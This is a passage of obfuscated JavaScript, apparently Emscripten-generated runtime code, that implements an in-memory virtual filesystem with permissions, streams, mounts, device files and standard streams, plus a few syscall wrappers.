_0x3d76b2===_0x3d76b2['parent']},'isMountpoint':function(_0x38e55d){return!!_0x38e55d['mounted']},'isFile':function(_0x288c4d){return(_0x288c4d&0xf000)===0x8000},'isDir':function(_0x13cd6c){return(_0x13cd6c&0xf000)===0x4000},'isLink':function(_0x156860){return(_0x156860&0xf000)===0xa000},'isChrdev':function(_0x72445a){return(_0x72445a&0xf000)===0x2000},'isBlkdev':function(_0x1aa706){return(_0x1aa706&0xf000)===0x6000},'isFIFO':function(_0x1c2e95){return(_0x1c2e95&0xf000)===0x1000},'isSocket':function(_0x54fa38){return(_0x54fa38&0xc000)===0xc000},'flagModes':{'r':0x0,'rs':0x101000,'r+':0x2,'w':0x241,'wx':0x2c1,'xw':0x2c1,'w+':0x242,'wx+':0x2c2,'xw+':0x2c2,'a':0x441,'ax':0x4c1,'xa':0x4c1,'a+':0x442,'ax+':0x4c2,'xa+':0x4c2},'modeStringToFlags':function(_0xca5f08){var _0x3c8263=_0x521ba3['flagModes'][_0xca5f08];if(typeof _0x3c8263==='undefined'){throw new Error('Unknown file open mode: '+_0xca5f08)}return _0x3c8263},'flagsToPermissionString':function(_0x21ab84){var _0x4fecef=['r','w','rw'][_0x21ab84&0x3];if(_0x21ab84&0x200){_0x4fecef+='w'}return _0x4fecef},'nodePermissions':function(_0x48e483,_0x48f871){if(_0x521ba3['ignorePermissions']){return 0x0}if(_0x48f871['indexOf']('r')!==-0x1&&!(_0x48e483['mode']&0x124)){return _0x161ccf['EACCES']}else if(_0x48f871['indexOf']('w')!==-0x1&&!(_0x48e483['mode']&0x92)){return _0x161ccf['EACCES']}else if(_0x48f871['indexOf']('x')!==-0x1&&!(_0x48e483['mode']&0x49)){return _0x161ccf['EACCES']}return 0x0},'mayLookup':function(_0x5dbda6){var _0xeca855=_0x521ba3['nodePermissions'](_0x5dbda6,'x');if(_0xeca855)return _0xeca855;if(!_0x5dbda6['node_ops']['lookup'])return _0x161ccf['EACCES'];return 0x0},'mayCreate':function(_0x3d5813,_0x20efd8){try{var _0x3f2e66=_0x521ba3['lookupNode'](_0x3d5813,_0x20efd8);return _0x161ccf['EEXIST']}catch(_0x152b8){}return _0x521ba3['nodePermissions'](_0x3d5813,'wx')},'mayDelete':function(_0x5e65a5,_0x437776,_0x231f14){var _0x3407d3;try{_0x3407d3=_0x521ba3['lookupNode'](_0x5e65a5,_0x437776)}catch(_0xa5adf5){return _0xa5adf5['errno']}var _0x45f57b=_0x521ba3['nodePermissions'](_0x5e65a5,'wx');if(_0x45f57b){return _0x45f57b}if(_0x231f14){if(!_0x521ba3['isDir'](_0x3407d3['mode'])){return _0x161ccf['ENOTDIR']}if(_0x521ba3['isRoot'](_0x3407d3)||_0x521ba3['getPath'](_0x3407d3)===_0x521ba3['cwd']()){return _0x161ccf['EBUSY']}}else{if(_0x521ba3['isDir'](_0x3407d3['mode'])){return _0x161ccf['EISDIR']}}return 0x0},'mayOpen':function(_0x314b34,_0x52b96e){if(!_0x314b34){return _0x161ccf['ENOENT']}if(_0x521ba3['isLink'](_0x314b34['mode'])){return _0x161ccf['ELOOP']}else if(_0x521ba3['isDir'](_0x314b34['mode'])){if(_0x521ba3['flagsToPermissionString'](_0x52b96e)!=='r'||_0x52b96e&0x200){return _0x161ccf['EISDIR']}}return _0x521ba3['nodePermissions'](_0x314b34,_0x521ba3['flagsToPermissionString'](_0x52b96e))},'MAX_OPEN_FDS':0x1000,'nextfd':function(_0x794ddc,_0x1ee57e){_0x794ddc=_0x794ddc||0x0;_0x1ee57e=_0x1ee57e||_0x521ba3['MAX_OPEN_FDS'];for(var _0x4c2831=_0x794ddc;_0x4c2831<=_0x1ee57e;_0x4c2831++){if(!_0x521ba3['streams'][_0x4c2831]){return _0x4c2831}}throw new _0x521ba3['ErrnoError'](_0x161ccf['EMFILE'])},'getStream':function(_0x5205e4){return _0x521ba3['streams'][_0x5205e4]},'createStream':function(_0x28fb72,_0x395aaa,_0x1aa7bc){if(!_0x521ba3['FSStream']){_0x521ba3['FSStream']=function(){};_0x521ba3['FSStream']['prototype']={};Object['defineProperties'](_0x521ba3['FSStream']['prototype'],{'object':{'get':function(){return this['node']},'set':function(_0xe2a9cd){this['node']=_0xe2a9cd}},'isRead':{'get':function(){return(this['flags']&0x200003)!==0x1}},'isWrite':{'get':function(){return(this['flags']&0x200003)!==0x0}},'isAppend':{'get':function(){return this['flags']&0x400}}})}var _0x58e0b3=new _0x521ba3['FSStream']();for(var _0x2a8af3 in _0x28fb72){_0x58e0b3[_0x2a8af3]=_0x28fb72[_0x2a8af3]}_0x28fb72=_0x58e0b3;var _0x34dbef=_0x521ba3['nextfd'](_0x395aaa,_0x1aa7bc);_0x28fb72['fd']=_0x34dbef;_0x521ba3['streams'][_0x34dbef]=_0x28fb72;return _0x28fb72},'closeStream':function(_0x554a1f){_0x521ba3['streams'][_0x554a1f]=null},'chrdev_stream_ops':{'open':function(_0x2654a8){var _0x3268c0=_0x521ba3['getDevice'](_0x2654a8['node']['rdev']);_0x2654a8['stream_ops']=_0x3268c0['stream_ops'];if(_0x2654a8['stream_ops']['open']){_0x2654a8['stream_ops']['open'](_0x2654a8)}},'llseek':function(){throw new _0x521ba3['ErrnoError'](_0x161ccf['ESPIPE'])}},'major':function(_0x7729b7){return _0x7729b7>>0x8},'minor':function(_0x4f0b3e){return _0x4f0b3e&0xff},'makedev':function(_0x4432e5,_0x4dc48d){return _0x4432e5<<0x8|_0x4dc48d},'registerDevice':function(_0x559930,_0x51d956){_0x521ba3['devices'][_0x559930]={'stream_ops':_0x51d956}},'getDevice':function(_0x51cfae){return _0x521ba3['devices'][_0x51cfae]},'getMounts':function(_0x3b35f7){var _0xcfc17c=[];var _0x2ea9a4=[_0x3b35f7];while(_0x2ea9a4['length']){var _0x219d38=_0x2ea9a4['pop']();_0xcfc17c['push'](_0x219d38);_0x2ea9a4['push']['apply'](_0x2ea9a4,_0x219d38['mounts'])}return _0xcfc17c},'mount':function(_0x3efd9a,_0x511727,_0x1ba56e){var _0x3c3f1a=_0x1ba56e==='/';var _0x56bf1e=!_0x1ba56e;var _0xff7bae;if(_0x3c3f1a&&_0x521ba3['root']){throw new _0x521ba3['ErrnoError'](_0x161ccf['EBUSY'])}else if(!_0x3c3f1a&&!_0x56bf1e){var _0x838712=_0x521ba3['lookupPath'](_0x1ba56e,{'follow_mount':![]});_0x1ba56e=_0x838712['path'];_0xff7bae=_0x838712['node'];if(_0x521ba3['isMountpoint'](_0xff7bae)){throw new _0x521ba3['ErrnoError'](_0x161ccf['EBUSY'])}if(!_0x521ba3['isDir'](_0xff7bae['mode'])){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOTDIR'])}}var _0x3ca02e={'type':_0x3efd9a,'opts':_0x511727,'mountpoint':_0x1ba56e,'mounts':[]};var _0x5193de=_0x3efd9a['mount'](_0x3ca02e);_0x5193de['mount']=_0x3ca02e;_0x3ca02e['root']=_0x5193de;if(_0x3c3f1a){_0x521ba3['root']=_0x5193de}else if(_0xff7bae){_0xff7bae['mounted']=_0x3ca02e;if(_0xff7bae['mount']){_0xff7bae['mount']['mounts']['push'](_0x3ca02e)}}return _0x5193de},'unmount':function(_0x7a3571){var _0x9e420f=_0x521ba3['lookupPath'](_0x7a3571,{'follow_mount':![]});if(!_0x521ba3['isMountpoint'](_0x9e420f['node'])){throw new _0x521ba3['ErrnoError'](_0x161ccf['EINVAL'])}var _0x1edf5a=_0x9e420f['node'];var _0x58a22b=_0x1edf5a['mounted'];var _0x31f791=_0x521ba3['getMounts'](_0x58a22b);Object['keys'](_0x521ba3['nameTable'])['forEach'](function(_0x35cc90){var _0x3d986c=_0x521ba3['nameTable'][_0x35cc90];while(_0x3d986c){var _0x4e08fa=_0x3d986c['name_next'];if(_0x31f791['indexOf'](_0x3d986c['mount'])!==-0x1){_0x521ba3['destroyNode'](_0x3d986c)}_0x3d986c=_0x4e08fa}});_0x1edf5a['mounted']=null;var _0x4f0db3=_0x1edf5a['mount']['mounts']['indexOf'](_0x58a22b);_0x455315(_0x4f0db3!==-0x1);_0x1edf5a['mount']['mounts']['splice'](_0x4f0db3,0x1)},'lookup':function(_0x26e528,_0x1f37d6){return _0x26e528['node_ops']['lookup'](_0x26e528,_0x1f37d6)},'mknod':function(_0x126013,_0x2c8e92,_0xd8b34e){var _0x1813d2=_0x521ba3['lookupPath'](_0x126013,{'parent':!![]});var _0xf3aa8d=_0x1813d2['node'];var _0x19f385=_0x55fbd7['basename'](_0x126013);if(!_0x19f385||_0x19f385==='.'||_0x19f385==='..'){throw new _0x521ba3['ErrnoError'](_0x161ccf['EINVAL'])}var _0x52ab61=_0x521ba3['mayCreate'](_0xf3aa8d,_0x19f385);if(_0x52ab61){throw new _0x521ba3['ErrnoError'](_0x52ab61)}if(!_0xf3aa8d['node_ops']['mknod']){throw new _0x521ba3['ErrnoError'](_0x161ccf['EPERM'])}return _0xf3aa8d['node_ops']['mknod'](_0xf3aa8d,_0x19f385,_0x2c8e92,_0xd8b34e)},'create':function(_0x31905a,_0x21d748){_0x21d748=_0x21d748!==undefined?_0x21d748:0x1b6;_0x21d748&=0xfff;_0x21d748|=0x8000;return _0x521ba3['mknod'](_0x31905a,_0x21d748,0x0)},'mkdir':function(_0x187832,_0x3831c9){_0x3831c9=_0x3831c9!==undefined?_0x3831c9:0x1ff;_0x3831c9&=0x1ff|0x200;_0x3831c9|=0x4000;return _0x521ba3['mknod'](_0x187832,_0x3831c9,0x0)},'mkdirTree':function(_0x343523,_0x270755){var _0x2988f1=_0x343523['split']('/');var _0x1d0889='';for(var _0x5e0a97=0x0;_0x5e0a97<_0x2988f1['length'];++_0x5e0a97){if(!_0x2988f1[_0x5e0a97])continue;_0x1d0889+='/'+_0x2988f1[_0x5e0a97];try{_0x521ba3['mkdir'](_0x1d0889,_0x270755)}catch(_0xdbbae2){if(_0xdbbae2['errno']!=_0x161ccf['EEXIST'])throw _0xdbbae2}}},'mkdev':function(_0x2926d3,_0x4d6dd7,_0x3d513b){if(typeof _0x3d513b==='undefined'){_0x3d513b=_0x4d6dd7;_0x4d6dd7=0x1b6}_0x4d6dd7|=0x2000;return _0x521ba3['mknod'](_0x2926d3,_0x4d6dd7,_0x3d513b)},'symlink':function(_0x2f610c,_0x4e5fda){if(!_0x55fbd7['resolve'](_0x2f610c)){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOENT'])}var _0x321297=_0x521ba3['lookupPath'](_0x4e5fda,{'parent':!![]});var _0x3a2ac7=_0x321297['node'];if(!_0x3a2ac7){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOENT'])}var _0x23172e=_0x55fbd7['basename'](_0x4e5fda);var _0x27ba83=_0x521ba3['mayCreate'](_0x3a2ac7,_0x23172e);if(_0x27ba83){throw new _0x521ba3['ErrnoError'](_0x27ba83)}if(!_0x3a2ac7['node_ops']['symlink']){throw new _0x521ba3['ErrnoError'](_0x161ccf['EPERM'])}return _0x3a2ac7['node_ops']['symlink'](_0x3a2ac7,_0x23172e,_0x2f610c)},'readlink':function(_0x28fde3){var _0xd05185=_0x521ba3['lookupPath'](_0x28fde3);var _0x482781=_0xd05185['node'];if(!_0x482781){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOENT'])}if(!_0x482781['node_ops']['readlink']){throw new _0x521ba3['ErrnoError'](_0x161ccf['EINVAL'])}return _0x55fbd7['resolve'](_0x521ba3['getPath'](_0x482781['parent']),_0x482781['node_ops']['readlink'](_0x482781))},'open':function(_0x22b395,_0x1fc369,_0x1adcb9,_0x29ca75,_0x2f90c5){if(_0x22b395===''){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOENT'])}_0x1fc369=typeof _0x1fc369==='string'?_0x521ba3['modeStringToFlags'](_0x1fc369):_0x1fc369;_0x1adcb9=typeof _0x1adcb9==='undefined'?0x1b6:_0x1adcb9;if(_0x1fc369&0x40){_0x1adcb9=_0x1adcb9&0xfff|0x8000}else{_0x1adcb9=0x0}var _0x59a4a7;if(typeof _0x22b395==='object'){_0x59a4a7=_0x22b395}else{_0x22b395=_0x55fbd7['normalize'](_0x22b395);try{var _0x2a8f76=_0x521ba3['lookupPath'](_0x22b395,{'follow':!(_0x1fc369&0x20000)});_0x59a4a7=_0x2a8f76['node']}catch(_0x523893){}}var _0x174834=![];if(_0x1fc369&0x40){if(_0x59a4a7){if(_0x1fc369&0x80){throw new _0x521ba3['ErrnoError'](_0x161ccf['EEXIST'])}}else{_0x59a4a7=_0x521ba3['mknod'](_0x22b395,_0x1adcb9,0x0);_0x174834=!![]}}if(!_0x59a4a7){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOENT'])}if(_0x521ba3['isChrdev'](_0x59a4a7['mode'])){_0x1fc369&=~0x200}if(_0x1fc369&0x10000&&!_0x521ba3['isDir'](_0x59a4a7['mode'])){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOTDIR'])}if(!_0x174834){var _0x3eb8f7=_0x521ba3['mayOpen'](_0x59a4a7,_0x1fc369);if(_0x3eb8f7){throw new _0x521ba3['ErrnoError'](_0x3eb8f7)}}if(_0x1fc369&0x200){_0x521ba3['truncate'](_0x59a4a7,0x0)}_0x1fc369&=~(0x80|0x200);var _0x17bf99=_0x521ba3['createStream']({'node':_0x59a4a7,'path':_0x521ba3['getPath'](_0x59a4a7),'flags':_0x1fc369,'seekable':!![],'position':0x0,'stream_ops':_0x59a4a7['stream_ops'],'ungotten':[],'error':![]},_0x29ca75,_0x2f90c5);if(_0x17bf99['stream_ops']['open']){_0x17bf99['stream_ops']['open'](_0x17bf99)}if(_0x1ddafb['logReadFiles']&&!(_0x1fc369&0x1)){if(!_0x521ba3['readFiles'])_0x521ba3['readFiles']={};if(!(_0x22b395 in _0x521ba3['readFiles'])){_0x521ba3['readFiles'][_0x22b395]=0x1;_0x1ddafb['printErr']('read file: '+_0x22b395)}}try{if(_0x521ba3['trackingDelegate']['onOpenFile']){var _0x5dd12b=0x0;if((_0x1fc369&0x200003)!==0x1){_0x5dd12b|=_0x521ba3['tracking']['openFlags']['READ']}if((_0x1fc369&0x200003)!==0x0){_0x5dd12b|=_0x521ba3['tracking']['openFlags']['WRITE']}_0x521ba3['trackingDelegate']['onOpenFile'](_0x22b395,_0x5dd12b)}}catch(_0x714720){console['log']('FS.trackingDelegate['onOpenFile'](''+_0x22b395+'', flags) threw an exception: '+_0x714720['message'])}return _0x17bf99},'close':function(_0x2491ca){if(_0x2491ca['getdents'])_0x2491ca['getdents']=null;try{if(_0x2491ca['stream_ops']['close']){_0x2491ca['stream_ops']['close'](_0x2491ca)}}catch(_0x4edf3c){throw _0x4edf3c}finally{_0x521ba3['closeStream'](_0x2491ca['fd'])}},'cwd':function(){return _0x521ba3['currentPath']},'chdir':function(_0x29c99e){var _0x247385=_0x521ba3['lookupPath'](_0x29c99e,{'follow':!![]});if(_0x247385['node']===null){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOENT'])}if(!_0x521ba3['isDir'](_0x247385['node']['mode'])){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOTDIR'])}var _0x5e7d71=_0x521ba3['nodePermissions'](_0x247385['node'],'x');if(_0x5e7d71){throw new _0x521ba3['ErrnoError'](_0x5e7d71)}_0x521ba3['currentPath']=_0x247385['path']},'createDefaultDirectories':function(){_0x521ba3['mkdir']('/tmp');_0x521ba3['mkdir']('/home');_0x521ba3['mkdir']('/home/web_user')},'createDefaultDevices':function(){_0x521ba3['mkdir']('/dev');_0x521ba3['registerDevice'](_0x521ba3['makedev'](0x1,0x3),{'read':function(){return 0x0},'write':function(_0x209577,_0x1ea559,_0x498ba2,_0x445076,_0x4ce1a0){return _0x445076}});_0x521ba3['mkdev']('/dev/null',_0x521ba3['makedev'](0x1,0x3));_0x20fcdf['register'](_0x521ba3['makedev'](0x5,0x0),_0x20fcdf['default_tty_ops']);_0x20fcdf['register'](_0x521ba3['makedev'](0x6,0x0),_0x20fcdf['default_tty1_ops']);_0x521ba3['mkdev']('/dev/tty',_0x521ba3['makedev'](0x5,0x0));_0x521ba3['mkdev']('/dev/tty1',_0x521ba3['makedev'](0x6,0x0));var _0x32b420;if(typeof crypto!=='undefined'){var _0x647948=new Uint8Array(0x1);_0x32b420=function(){crypto['getRandomValues'](_0x647948);return _0x647948[0x0]}}else if(_0x1c7d8b){_0x32b420=function(){return require('crypto')['randomBytes'](0x1)[0x0]}}else{_0x32b420=function(){return Math['random']()*0x100|0x0}}_0x521ba3['createDevice']('/dev','random',_0x32b420);_0x521ba3['createDevice']('/dev','urandom',_0x32b420);_0x521ba3['mkdir']('/dev/shm');_0x521ba3['mkdir']('/dev/shm/tmp')},'createSpecialDirectories':function(){_0x521ba3['mkdir']('/proc');_0x521ba3['mkdir']('/proc/self');_0x521ba3['mkdir']('/proc/self/fd');_0x521ba3['mount']({'mount':function(){var _0x3820c9=_0x521ba3['createNode']('/proc/self','fd',0x4000|0x1ff,0x49);_0x3820c9['node_ops']={'lookup':function(_0x16c776,_0x1bf2e0){var _0x43cf6f=+_0x1bf2e0;var _0x4137e3=_0x521ba3['getStream'](_0x43cf6f);if(!_0x4137e3)throw new _0x521ba3['ErrnoError'](_0x161ccf['EBADF']);var _0x3c4148={'parent':null,'mount':{'mountpoint':'fake'},'node_ops':{'readlink':function(){return _0x4137e3['path']}}};_0x3c4148['parent']=_0x3c4148;return _0x3c4148}};return _0x3820c9}},{},'/proc/self/fd')},'createStandardStreams':function(){if(_0x1ddafb['stdin']){_0x521ba3['createDevice']('/dev','stdin',_0x1ddafb['stdin'])}else{_0x521ba3['symlink']('/dev/tty','/dev/stdin')}if(_0x1ddafb['stdout']){_0x521ba3['createDevice']('/dev','stdout',null,_0x1ddafb['stdout'])}else{_0x521ba3['symlink']('/dev/tty','/dev/stdout')}if(_0x1ddafb['stderr']){_0x521ba3['createDevice']('/dev','stderr',null,_0x1ddafb['stderr'])}else{_0x521ba3['symlink']('/dev/tty1','/dev/stderr')}var _0x334026=_0x521ba3['open']('/dev/stdin','r');_0x455315(_0x334026['fd']===0x0,'invalid handle for stdin ('+_0x334026['fd']+')');var _0x2e3c41=_0x521ba3['open']('/dev/stdout','w');_0x455315(_0x2e3c41['fd']===0x1,'invalid handle for stdout ('+_0x2e3c41['fd']+')');var _0x1fcb5f=_0x521ba3['open']('/dev/stderr','w');_0x455315(_0x1fcb5f['fd']===0x2,'invalid handle for stderr ('+_0x1fcb5f['fd']+')')},'ensureErrnoError':function(){if(_0x521ba3['ErrnoError'])return;_0x521ba3['ErrnoError']=function ErrnoError(_0x2102fb,_0x1d1522){this['node']=_0x1d1522;this['setErrno']=function(_0xafbb1f){this['errno']=_0xafbb1f;for(var _0x1efcf4 in _0x161ccf){if(_0x161ccf[_0x1efcf4]===_0xafbb1f){this['code']=_0x1efcf4;break}}};this['setErrno'](_0x2102fb);this['message']=_0x11dc64[_0x2102fb]};_0x521ba3['ErrnoError']['prototype']=new Error();_0x521ba3['ErrnoError']['prototype']['constructor']=_0x521ba3['ErrnoError'];[_0x161ccf['ENOENT']]['forEach'](function(_0x12b283){_0x521ba3['genericErrors'][_0x12b283]=new _0x521ba3['ErrnoError'](_0x12b283);_0x521ba3['genericErrors'][_0x12b283]['stack']='<generic error, no stack>'})},'staticInit':function(){_0x521ba3['ensureErrnoError']();_0x521ba3['nameTable']=new Array(0x1000);_0x521ba3['mount'](_0x36a506,{},'/');_0x521ba3['createDefaultDirectories']();_0x521ba3['createDefaultDevices']();_0x521ba3['createSpecialDirectories']();_0x521ba3['filesystems']={'MEMFS':_0x36a506,'IDBFS':_0x1b85ed,'NODEFS':_0xe4914f,'WORKERFS':_0x4ec258}},'init':function(_0x12f466,_0x55de57,_0x46dac3){_0x455315(!_0x521ba3['init']['initialized'],'FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)');_0x521ba3['init']['initialized']=!![];_0x521ba3['ensureErrnoError']();_0x1ddafb['stdin']=_0x12f466||_0x1ddafb['stdin'];_0x1ddafb['stdout']=_0x55de57||_0x1ddafb['stdout'];_0x1ddafb['stderr']=_0x46dac3||_0x1ddafb['stderr'];_0x521ba3['createStandardStreams']()},'quit':function(){_0x521ba3['init']['initialized']=![];var _0x19f74a=_0x1ddafb['_fflush'];if(_0x19f74a)_0x19f74a(0x0);for(var _0x24c3cc=0x0;_0x24c3cc<_0x521ba3['streams']['length'];_0x24c3cc++){var _0x37696f=_0x521ba3['streams'][_0x24c3cc];if(!_0x37696f){continue}_0x521ba3['close'](_0x37696f)}},'getMode':function(_0x19da85,_0x2e9785){var _0x4a01b9=0x0;if(_0x19da85)_0x4a01b9|=0x124|0x49;if(_0x2e9785)_0x4a01b9|=0x92;return _0x4a01b9},'createDevice':function(_0x5c5b51,_0x25163e,_0x1928d7,_0x48da1c){var _0x58bc34=_0x55fbd7['join2'](typeof _0x5c5b51==='string'?_0x5c5b51:_0x521ba3['getPath'](_0x5c5b51),_0x25163e);var _0x5d5ccf=_0x521ba3['getMode'](!!_0x1928d7,!!_0x48da1c);if(!_0x521ba3['createDevice']['major'])_0x521ba3['createDevice']['major']=0x40;var _0x132dee=_0x521ba3['makedev'](_0x521ba3['createDevice']['major']++,0x0);_0x521ba3['registerDevice'](_0x132dee,{'open':function(_0x4115cf){_0x4115cf['seekable']=![]},'close':function(_0x3b26e4){if(_0x48da1c&&_0x48da1c['buffer']&&_0x48da1c['buffer']['length']){_0x48da1c(0xa)}},'read':function(_0x29b47b,_0x59402c,_0x16d29b,_0x447fb0,_0x4334c2){var _0x11d197=0x0;for(var _0x393bb0=0x0;_0x393bb0<_0x447fb0;_0x393bb0++){var _0x161f69;try{_0x161f69=_0x1928d7()}catch(_0x45adfe){throw new _0x521ba3['ErrnoError'](_0x161ccf['EIO'])}if(_0x161f69===undefined&&_0x11d197===0x0){throw new _0x521ba3['ErrnoError'](_0x161ccf['EAGAIN'])}if(_0x161f69===null||_0x161f69===undefined)break;_0x11d197++;_0x59402c[_0x16d29b+_0x393bb0]=_0x161f69}if(_0x11d197){_0x29b47b['node']['timestamp']=Date['now']()}return _0x11d197},'write':function(_0x4c9ad0,_0x1c7cec,_0x4da4fa,_0x50bb95,_0x119c4b){for(var _0x200db6=0x0;_0x200db6<_0x50bb95;_0x200db6++){try{_0x48da1c(_0x1c7cec[_0x4da4fa+_0x200db6])}catch(_0x2be82c){throw new _0x521ba3['ErrnoError'](_0x161ccf['EIO'])}}if(_0x50bb95){_0x4c9ad0['node']['timestamp']=Date['now']()}return _0x200db6}});return _0x521ba3['mkdev'](_0x58bc34,_0x5d5ccf,_0x132dee)},};var _0x204357={};function _0x22f0ae(_0xdb02ba,_0x66069b){_0x204357['varargs']=_0x66069b;try{return _0x3f08cb['pid']}catch(_0x3bfe4b){if(typeof _0x521ba3==='undefined'||!(_0x3bfe4b instanceof _0x521ba3['ErrnoError']))_0x69c2fc(_0x3bfe4b);return-_0x3bfe4b['errno']}}var _0x577266=_0x2dbd33;_0x2dbd33+=0x30;var _0x7799b0=_0x510da9(_0x2bd783('GMT'),'i8',_0x27fef0);function _0x4cf4fa(_0x325d9c,_0x36124f){var _0x393986=new Date(_0x19d918[_0x325d9c>>0x2]*0x3e8);_0x19d918[_0x36124f>>0x2]=_0x393986['getUTCSeconds']();_0x19d918[_0x36124f+0x4>>0x2]=_0x393986['getUTCMinutes']();_0x19d918[_0x36124f+0x8>>0x2]=_0x393986['getUTCHours']();_0x19d918[_0x36124f+0xc>>0x2]=_0x393986['getUTCDate']();_0x19d918[_0x36124f+0x10>>0x2]=_0x393986['getUTCMonth']();_0x19d918[_0x36124f+0x14>>0x2]=_0x393986['getUTCFullYear']()-0x76c;_0x19d918[_0x36124f+0x18>>0x2]=_0x393986['getUTCDay']();_0x19d918[_0x36124f+0x24>>0x2]=0x0;_0x19d918[_0x36124f+0x20>>0x2]=0x0;var _0x2c9789=Date['UTC'](_0x393986['getUTCFullYear'](),0x0,0x1,0x0,0x0,0x0,0x0);var _0x57e6da=(_0x393986['getTime']()-_0x2c9789)/(0x3e8*0x3c*0x3c*0x18)|0x0;_0x19d918[_0x36124f+0x1c>>0x2]=_0x57e6da;_0x19d918[_0x36124f+0x28>>0x2]=_0x7799b0;return _0x36124f}function _0x37354e(_0x4ca9d5){return _0x4cf4fa(_0x4ca9d5,_0x577266)}function _0x37c99a(){}function _0x1b0a77(){}function _0x4c2470(_0x1ba2ce,_0x177ee3){_0x204357['varargs']=_0x177ee3;try{var _0x442dfd=_0x204357['getStreamFromFD']();_0x521ba3['close'](_0x442dfd);return 0x0}catch(_0x4f16d2){if(typeof _0x521ba3==='undefined'||!(_0x4f16d2 instanceof _0x521ba3['ErrnoError']))_0x69c2fc(_0x4f16d2);return-_0x4f16d2['errno']}}function _0x320406(_0x11b2a6,_0x44b9ca,_0x1a0a3c){_0x2a1483['set'](_0x2a1483['subarray'](_0x44b9ca,_0x44b9ca+_0x1a0a3c),_0x11b2a6);return _0x11b2a6}function _0x38c440(_0xd043d9){var _0x49149a=Date['now']();_0x19d918[_0xd043d9>>0x2]=_0x49149a/0x3e8|0x0;_0x1bfa63[_0xd043d9+0x4>>0x1]=_0x49149a%0x3e8;_0x1bfa63[_0xd043d9+0x6>>0x1]=0x0;_0x1bfa63[_0xd043d9+0x8>>0x1]=0x0;return 0x0}function _0x59d8eb(_0x467eb3,_0x301edf){_0x204357['varargs']=_0x301edf;try{var _0x5d988e=_0x204357['getStreamFromFD'](),_0x140e92=_0x204357['get'](),_0x5966f6=_0x204357['get'](),_0x142862=_0x204357['get'](),_0x2f68a1=_0x204357['get']();var _0x2cb6fc=_0x5966f6;_0x521ba3['llseek'](_0x5d988e,_0x2cb6fc,_0x2f68a1);_0x19d918[_0x142862>>0x2]=_0x5d988e['position'];if(_0x5d988e['getdents']&&_0x2cb6fc===0x0&&_0x2f68a1===0x0)_0x5d988e['getdents']=null;return 0x0}catch(_0x710260){if(typeof _0x521ba3==='undefined'||!(_0x710260 instanceof _0x521ba3['ErrnoError']))_0x69c2fc(_0x710260);return-_0x710260['errno']}}function _0x587cf0(_0x346321,_0x35d641){_0x204357['varargs']=_0x35d641;try{var _0x35a23b=_0x204357['getStreamFromFD'](),_0x401edf=_0x204357['get'](),_0x526a7d=_0x204357['get']();return _0x204357['doWritev'](_0x35a23b,_0x401edf,_0x526a7d)}catch(_0xe09001){if(typeof _0x521ba3==='undefined'||!(_0xe09001 instanceof _0x521ba3['ErrnoError']))_0x69c2fc(_0xe09001);return-_0xe09001['errno']}}function _0x245408(_0x356968,_0x484fd0){_0x204357['varargs']=_0x484fd0;try{var _0xbc620=_0x204357['getStreamFromFD'](),_0x3e2bcf=_0x204357['get']();switch(_0x3e2bcf){case 0x5401:{if(!_0xbc620['tty'])return-_0x161ccf['ENOTTY'];return 0x0};case 0x5402:{if(!_0xbc620['tty'])return-_0x161ccf['ENOTTY'];return 0x0};case 0x540f:{if(!_0xbc620['tty'])return-_0x161ccf['ENOTTY'];var _0x24cf5d=_0x204357['get']();_0x19d918[_0x24cf5d>>0x2]=0x0;return 0x0};case 0x5410:{if(!_0xbc620['tty'])return-_0x161ccf['ENOTTY'];return-_0x161ccf['EINVAL']};case 0x541b:{var _0x24cf5d=_0x204357['get']();return _0x521ba3['ioctl'](_0xbc620,_0x3e2bcf,_0x24cf5d)};case 0x5413:{if(!_0xbc620['tty'])return-_0x161ccf['ENOTTY'];return 0x0};default:_0x69c2fc('bad ioctl syscall '+_0x3e2bcf)}}catch(_0x13eb4e){if(typeof _0x521ba3==='undefined'||!(_0x13eb4e instanceof _0x521ba3['ErrnoError']))_0x69c2fc(_0x13eb4e);return-_0x13eb4e['errno']}}_0x521ba3['staticInit']();_0x2104c7['unshift'](function(){if(!_0x1ddafb['noFSInit']&&!_0x521ba3['init']['initialized'])_0x521ba3['init']()});_0x1634b7['push'](function(){_0x521ba3['ignorePermissions']=![]});_0x5944c2['push'](function(){_0x521ba3['quit']()});_0x1ddafb['FS_createFolder']=_0x521ba3['createFolder'];_0x1ddafb['FS_createPath']=_0x521ba3['createPath'];_0x1ddafb['FS_createDataFile']=_0x521ba3['createDataFile'];_0x1ddafb['FS_createPreloadedFile']=_0x521ba3['createPreloadedFile'];_0x1ddafb['FS_createLazyFile']=_0x521ba3['createLazyFile'];_0x1ddafb['FS_createLink']=_0x521ba3['createLink'];_0x1ddafb['FS_createDevice']=_0x521ba3['createDevice'];_0x1ddafb['FS_unlink']=_0x521ba3['unlink'];_0x2104c7['unshift'](function(){_0x20fcdf['init']()});_0x5944c2['push'](function(){_0x20fcdf['shutdown']()});if(_0x1c7d8b){var _0x5ee1eb=require('fs');var _0x5d211a=require('path');_0xe4914f['staticInit']()}_0x1b265d=_0x510da9(0x1,'i32',_0x27fef0);_0x45bd21=_0x2fea64=_0x399b85['alignMemory'](_0x2dbd33);_0x7c6f7d=_0x45bd21+_0x4e28ff;_0x52b2be=_0x399b85['alignMemory'](_0x7c6f7d);_0x19d918[_0x1b265d>>0x2]=_0x52b2be;_0x51ed65=!![];_0x1ddafb['wasmTableSize']=0x08;_0x1ddafb['wasmMaxTableSize']=0x08;function _0x38ad72(_0xfb40d8,_0x5966f7){try{return _0x1ddafb['dynCall_ii'](_0xfb40d8,_0x5966f7)}catch(_0x612d75){if(typeof _0x612d75!=='number'&&_0x612d75!=='longjmp')throw _0x612d75;_0x1ddafb['setThrew'](0x1,0x0)}}function _0x4526ff(_0x1868ac,_0x24005e,_0x4eab19,_0x42e85f){try{return _0x1ddafb['dynCall_iiii'](_0x1868ac,_0x24005e,_0x4eab19,_0x42e85f)}catch(_0x20581d){if(typeof _0x20581d!=='number'&&_0x20581d!=='longjmp')throw 